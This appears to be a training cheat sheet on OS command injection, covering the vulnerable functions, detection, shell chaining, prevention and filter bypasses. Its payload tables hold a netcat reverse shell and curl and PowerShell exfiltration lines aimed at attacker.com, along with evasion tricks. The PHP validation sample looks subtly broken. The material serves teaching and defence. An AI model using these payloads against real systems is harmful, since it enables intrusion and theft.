

What is Command Injection?

- Abuse of application's behavior to execute OS commands
- Commands run with same privileges as the application
- Also known as RCE (Remote Code Execution)
- One of the most lucrative vulnerabilities for attackers

Impact:

- Read system/user files and data
 - Direct interaction with vulnerable system
 - Potential privilege escalation
 - Full system compromise
-

How It Happens:

Applications use functions that pass user input to system calls:

- PHP: `exec`, `passthru`, `system`
- Python: `subprocess` package
- NodeJS: `child_process`

Example Flow:

1. Application takes user input (e.g., song title to search)
2. Input passed to system command (e.g., `grep`)
3. Command executes on OS
4. Results returned to user

Abuse: Instead of searching for song, inject additional commands

Detection Methods:

1. Blind Command Injection (No visible output)

- Use time-delay payloads: `ping`, `sleep`, `timeout`
- Force output with redirection: `whoami > output.txt` then `cat output.txt`
- Use out-of-band data exfiltration: `curl http://attacker.com/?data=$(whoami)`

2. Verbose Command Injection (Direct feedback)

- Output displayed on web page

- Easier to detect and exploit
 - Commands like `whoami`, `ls` show results immediately
-

Shell Operators for Command Chaining:

- `;` - Execute both commands (Linux)
 - `&` - Execute both (background)
 - `&&` - Execute second only if first succeeds
 - `||` - Execute second only if first fails
 - ``command`` or `$(command)` - Command substitution
 - `|` - Pipe output to another command
-

Useful Payloads:

Linux:

Payload	Purpose
<code>whoami</code>	Identify current user
<code>ls</code>	List directory contents
<code>ping -c 10 127.0.0.1</code>	Time delay for blind testing
<code>sleep 5</code>	Time delay (if ping not available)
<code>nc -e /bin/sh attacker.com 4444</code>	Reverse shell
<code>cat /etc/passwd</code>	Read sensitive files
<code>curl http://attacker.com/\$(whoami)</code>	Data exfiltration

Windows:

Payload	Purpose
<code>whoami</code>	Identify current user
<code>dir</code>	List directory contents
<code>ping -n 10 127.0.0.1</code>	Time delay
<code>timeout 5</code>	Time delay
<code>type C:\Users\Administrator\Desktop\flag.txt</code>	Read files
<code>powershell Invoke-WebRequest -Uri http://attacker.com/?i=\$(whoami)</code>	Data exfiltration

Prevention Methods:

1. Avoid Dangerous Functions

- Minimize use of: `exec()`, `system()`, `passthru()`, `shell_exec()`, ``` (backticks)
- Use safer alternatives when possible

2. Input Sanitization

- Validate input format (e.g., only numbers allowed)
- Remove/escape special characters: `>`, `&`, `;`, `$`, `|`, ```, `\`
- Use allowlists (acceptable characters) not denylists

3. Input Validation Example (PHP):

```
php
if (filter_input(INPUT_POST, 'number', FILTER_VALIDATE_NUMBER)) {
    // Only proceed if input is a number
    system("ping -c 4 " . $number);
} else {
    // Reject invalid input
}
```

4. Principle of Least Privilege

- Run application with minimal required permissions
- Don't run web server as root/Administrator

Bypassing Filters:

- **Character encoding:** Use hex/URL encoding (%3B for ;)
- **Command substitution variations:** ``command`` vs `$(command)`
- **Environment variables:** `$PATH`, `${IFS}` (Internal Field Separator)
- **Wildcards:** `*` to match files
- **Newlines:** `%0a` as command separator
- **Bypassing word filters:** Use `who$( )ami` (empty substitution)